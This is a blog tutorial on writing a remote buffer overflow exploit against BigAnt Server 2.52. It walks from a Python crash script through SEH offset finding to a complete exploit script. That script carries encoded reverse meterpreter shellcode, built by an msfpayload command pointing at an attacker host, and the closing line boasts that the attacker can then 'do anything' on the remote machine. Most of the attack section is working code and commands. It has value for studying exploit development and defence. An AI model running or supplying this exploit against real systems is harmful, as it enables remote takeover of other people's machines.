Remote Buffer Overflow Exploits

SHARE:


























































































































































































































































"A remote exploit works over a network and exploits the security vulnerability without any prior access to the vulnerable system." - Wikipedia.
In this article, I will try to explain the concepts of Remote Buffer overflow exploits from a practical perspective. This paper doesn�t not explain the concepts of O.S and Processor that are very necessary to understand the exploit development process, doesn't matter that you are messing with a complex application or a simple application. So it is assumed that readers have some background knowledge about exploits.

Here we will learn to exploit remote buffer overflow vulnerability in BigAnt Server.
Vulnerability
A vulnerability has been identified in BigAnt Server, which could be exploited by remote attackers to compromise a vulnerable system. This issue is caused by a buffer overflow when processing an overly long "USV" request, which could be exploited by remote attackers to crash an affected server or execute arbitrary code by sending a specially crafted packet to port 6660/TCP.
(Source : Vupen)As you can see in the advisory that application is prone to buffer overflow, notice the request "USV" . So on the basis of this information we start our journey of exploit development.
Exploit Development process
Now to verify the vulnerability let us quickly write a python script that will send the 3000 A's (you can choose this value according to your needs ?) to the application with "USV" request.
#!/usr/bin/python

import sys, socket
host = sys.argv[1] #command line argument
buffer = "\x41"* 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STRAEM) #for Tcp
s.connect((host,6660))
s.send("USV " + buffer + "\r\n\r\n�)
s.close()
#End

chmod u+x bigant.py
we execute the script.. Now
remote exploits
As you can see in the figure that application status is "stopped" means it verify that application is vulnerable to buffer overflow and it also gives us an idea that 3000 A's are enough to trigger the overflow. Now our next step is to find out the type of overflow means direct EIP overwrite or SEH (Structured Exception Handler) overwrite and the correct offset means after how many bytes EIP and SEH overwrite occur.

On the basis of background application study I can say that direct EIP overwrite is not possible but application allow SEH overwrite so we exploit the application using SEH overwrite method. Now we have to find out the offset, means after how many bytes SEH overwrite occur. To do this we will use metasploit pattern_createscript that generate random sequence string.
On backtrack 4 navigate to /pentest/exploits/framework3/tools
Execute ./pattern_create.rb 3000
copy and paste the output in the above script. Now script looks like this.
#!/usr/bin/python
import sys, socket
host = sys.argv[1] #command line argument
buffer = ("Aa0Aa1Aa2Aa3Aa��..v4Dv5Dv6Dv7Dv8Dv9�) #size 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STRAEM) #for Tcp
s.connect((host,6660))
s.send("USV " + buffer + "\r\n\r\n�)
s.close()
#End
Now attach the application to the DEBUGGER (ollydbg or immunity olly or any other). In Debugger go to File->attach and choose AntServer tcp 6660 and click on attach button. Then click on debugger start button as shown in the screen below.
remote exploits
Now everything is up and running, execute the script.
./bigant.py 192.168.1.2
Our debugger look like this,
remote exploits
As you can see in the debugger that pointer to SEH record and SE handler are overwritten with our random data means
013CFD7C 31674230 0Bg1 Pointer to next SEH record
013CFD80 42326742 Bg2B SE handler
Now copy 42326742 and go back to metasploit tools and execute
./pattern_offset 42326742 3000
And the output will be 966 means after 966 bytes our seh overwrite occur. Minus 4 bytes for next seh record and now we have 962 bytes. That's all we need. Now our task is to find out the pop pop ret. But before that I would like to explain something. In a general seh overflow exploit we overwrite the SE Handler with pop pop ret and pointer to next Seh record with a short jump that jump over the SE handler. Means situation looks like this,
[aaaa...][short jump][pop pop ret][nops..][shellcode][nops] ^------------------------?^
Short jump jump over pop pop ret and we land into nops and then execute shellcode. But in this paper I am using a different approach, and this approach is most widely used to bypass safe seh. Means rather than to jump over SE Handler why not to jump back via short jump.. means the situation looks like this..
[nops][shellcode][near jump][short jump][pop pop ret] ^?----------------^ ^?-----------<^
See the difference between both diagrams,take some time to understand this. Now question is why to use Two jumps? because we can not jump 900 bytes back via short jump so we have to use a near jump. We first jump on the near jump via short jump and then jump back to nops via near jump and technically speaking we can partial overwrite the SE Handler(pop pop ret ) as we do in most of the cases and that work fine for most of the applications.

But application (BigAnt Server) is slightly different and don't allow the partial overwrite. (slightly play with application and indentify the problem ?) Now it's time to search for a pop pop ret, you can use findjump tool or debuggers to find out the addresses. The address I am using is 0f9a3295.

So the final exploit structure is like below,
[nops][shellcode][nops][near jump][short jump][pop pop ret]

Nops = "\x90" * 20
Shellcode = from metasploit           #using 643 byte shellcode
Nops = "\x90"* 294
Near jump = "\xe9\x4c\xfc\xff\xff"   #jump into nop sled (5bytes)
------------962 bytes--------------     #jump 5 byte back means on near jump
Pop pop ret = "\x95\x32\x9a\x0f"    #little endian
Due to application constraints we have to add some garbage after pop pop ret and this is the main reason that we can't partial overwrite the register.
Garbage = "\x41"* 1000
Now everything is in position butt.. where is shellcode ok let�s generate a reverse meterpreter shellcode. Here is the command,
#./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.3 R | ./msfencode -e x86/alpha_mixed -t c
 Notice the pipe (|) in the above command (after R)..  Now everything is ready. Put all things in the script..
#!/usr/bin/python
#BigAnt Server 2.52 remote buffer overflow exploit 2
#Author: DouBle_Zer0
#Vulnerability discovered by Lincoln
#a another version of the original exploit (by Lincoln)
#application is little hazy..import sys,socket
host = sys.argv[1]
buffer= "\x90" * 20#./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.3 R | ./msfencode -e x86/alpha_mixed -t c #size 643 byte

buffer+= ("\x89\xe1\xd9\xce\xd9\x71\xf4\x59\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49"
"\x6c\x49\x78\x4c\x49\x47\x70\x43\x30\x47\x70\x45\x30\x4f\x79"
"\x4a\x45\x50\x31\x49\x42\x45\x34\x4e\x6b\x42\x72\x50\x30\x4e"
"\x6b\x50\x52\x44\x4c\x4c\x4b\x51\x42\x47\x64\x4e\x6b\x51\x62"
"\x44\x68\x46\x6f\x4d\x67\x50\x4a\x51\x36\x45\x61\x4b\x4f\x44"
"\x71\x49\x50\x4c\x6c\x45\x6c\x50\x61\x43\x4c\x44\x42\x46\x4c"
"\x51\x30\x4a\x61\x4a\x6f\x44\x4d\x46\x61\x4a\x67\x4b\x52\x4a"
"\x50\x42\x72\x50\x57\x4c\x4b\x42\x72\x44\x50\x4e\x6b\x42\x62"
"\x45\x6c\x47\x71\x48\x50\x4c\x4b\x51\x50\x42\x58\x4b\x35\x49"
"\x50\x50\x74\x50\x4a\x47\x71\x48\x50\x50\x50\x4c\x4b\x43\x78"
"\x46\x78\x4e\x6b\x51\x48\x47\x50\x43\x31\x49\x43\x49\x73\x47"
"\x4c\x51\x59\x4c\x4b\x45\x64\x4c\x4b\x43\x31\x4b\x66\x44\x71"
"\x49\x6f\x50\x31\x4f\x30\x4e\x4c\x49\x51\x48\x4f\x46\x6d\x43"
"\x31\x4a\x67\x44\x78\x49\x70\x51\x65\x4a\x54\x45\x53\x51\x6d"
"\x4a\x58\x45\x6b\x43\x4d\x51\x34\x43\x45\x48\x62\x43\x68\x4e"
"\x6b\x46\x38\x51\x34\x43\x31\x4b\x63\x45\x36\x4e\x6b\x44\x4c"
"\x50\x4b\x4c\x4b\x43\x68\x47\x6c\x46\x61\x4e\x33\x4c\x4b\x44"
"\x44\x4c\x4b\x47\x71\x4a\x70\x4c\x49\x43\x74\x51\x34\x51\x34"
"\x43\x6b\x51\x4b\x50\x61\x42\x79\x51\x4a\x46\x31\x4b\x4f\x49"
"\x70\x46\x38\x43\x6f\x51\x4a\x4e\x6b\x42\x32\x48\x6b\x4d\x56"
"\x43\x6d\x50\x68\x46\x53\x46\x52\x45\x50\x43\x30\x43\x58\x43"
"\x47\x50\x73\x50\x32\x43\x6f\x42\x74\x45\x38\x50\x4c\x43\x47"
"\x46\x46\x47\x77\x49\x6f\x4b\x65\x4c\x78\x4e\x70\x45\x51\x47"
"\x70\x47\x70\x45\x79\x48\x44\x43\x64\x42\x70\x42\x48\x44\x69"
"\x4b\x30\x42\x4b\x47\x70\x4b\x4f\x48\x55\x50\x50\x46\x30\x46"
"\x30\x46\x30\x43\x70\x50\x50\x47\x30\x46\x30\x43\x58\x4a\x4a"
"\x44\x4f\x49\x4f\x49\x70\x4b\x4f\x4b\x65\x4a\x37\x50\x6a\x44"
"\x45\x43\x58\x4f\x30\x4e\x48\x47\x71\x44\x43\x45\x38\x45\x52"
"\x43\x30\x44\x51\x43\x6c\x4e\x69\x49\x76\x50\x6a\x42\x30\x50"
"\x56\x46\x37\x50\x68\x4a\x39\x4d\x75\x44\x34\x50\x61\x4b\x4f"
"\x4b\x65\x4f\x75\x4b\x70\x42\x54\x44\x4c\x4b\x4f\x42\x6e\x47"
"\x78\x44\x35\x4a\x4c\x43\x58\x4a\x50\x48\x35\x4d\x72\x43\x66"
"\x4b\x4f\x4a\x75\x50\x6a\x47\x70\x43\x5a\x45\x54\x46\x36\x43"
"\x67\x42\x48\x44\x42\x49\x49\x4f\x38\x51\x4f\x4b\x4f\x4b\x65"
"\x4e\x6b\x47\x46\x50\x6a\x51\x50\x42\x48\x45\x50\x42\x30\x43"
"\x30\x45\x50\x50\x56\x42\x4a\x45\x50\x42\x48\x51\x48\x4c\x64"
"\x46\x33\x4a\x45\x49\x6f\x4e\x35\x4a\x33\x43\x63\x42\x4a\x45"
"\x50\x46\x36\x43\x63\x50\x57\x50\x68\x44\x42\x48\x59\x4f\x38"
"\x43\x6f\x4b\x4f\x4e\x35\x43\x31\x48\x43\x51\x39\x4f\x36\x4c"
"\x45\x49\x66\x43\x45\x48\x6c\x4b\x73\x44\x4a\x41\x41")

buffer+= "\x90" * 294
buffer+= "\xe9\x4c\xfc\xff\xff"  #near jmp -----> shellcode
buffer+= "\xeb\xf9\x90\x90"    #short jmp ----> near jmp
buffer+= "\x95\x32\x9a\x0f"    #p/p/r(partial overwrite is not possible as far as i know)
buffer+= "\x41" * 1000           #play

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,6660))
s.send("USV " + buffer + "\r\n\r\n")

s.close()
Start metasploit multi handler and boom meterpreter shell is in your hands..Now you can control the remote machine and can do anything means anything
remote exploits

COMMENTS

BLOGGER: 7
Loading...
Name

11th,2,12th,20,12th Chemistry,5,12th Computer Science,7,12th Physics,1,5th Sem CSE,1,AAI ATC,2,Android,18,Banking,1,Blogger,41,Books,5,BTech,17,CBSE,22,CSE,4,ECE,3,Electronics,1,English,2,ESE,1,Ethical Hacking,61,Exams,5,Games,9,GATE,1,GATE ECE,1,Government Jobs,1,GS,1,How To,27,IBPS PO,1,Information,52,Internet,24,IPU,8,JEE,8,JEE Mains,8,Jobs,1,Linux,65,News,18,Notes,23,Physics,3,Placement,10,PO,1,Poetry,3,RRB,1,SEO,11,Softwares,38,SSC,2,SSC CGL,1,SSC GS,2,Tips and Tricks,46,UPSC,1,Windows,46,
ltr
item
SolutionRider- One Stop Solution for Notes, Exams Prep, Jobs & Technical Blogs.: Remote Buffer Overflow Exploits
Remote Buffer Overflow Exploits
http://securityxploded.com/images/remoteexploits1.jpg
SolutionRider- One Stop Solution for Notes, Exams Prep, Jobs & Technical Blogs.
https://thesolutionrider.blogspot.com/2017/04/remote-buffer-overflow-exploits.html
https://thesolutionrider.blogspot.com/
https://thesolutionrider.blogspot.com/
https://thesolutionrider.blogspot.com/2017/04/remote-buffer-overflow-exploits.html
true
6820083649286484786
UTF-8
Loaded All Posts Not found any posts VIEW ALL Readmore Reply Cancel reply Delete By Home PAGES POSTS View All RECOMMENDED FOR YOU LABEL ARCHIVE SEARCH ALL POSTS Not found any post match with your request Back Home Sunday Monday Tuesday Wednesday Thursday Friday Saturday Sun Mon Tue Wed Thu Fri Sat January February March April May June July August September October November December Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec just now 1 minute ago $$1$$ minutes ago 1 hour ago $$1$$ hours ago Yesterday $$1$$ days ago $$1$$ weeks ago more than 5 weeks ago Followers Follow THIS CONTENT IS PREMIUM Please share to unlock Copy All Code Select All Code All codes were copied to your clipboard Can not copy the codes / texts, please press [CTRL]+[C] (or CMD+C with Mac) to copy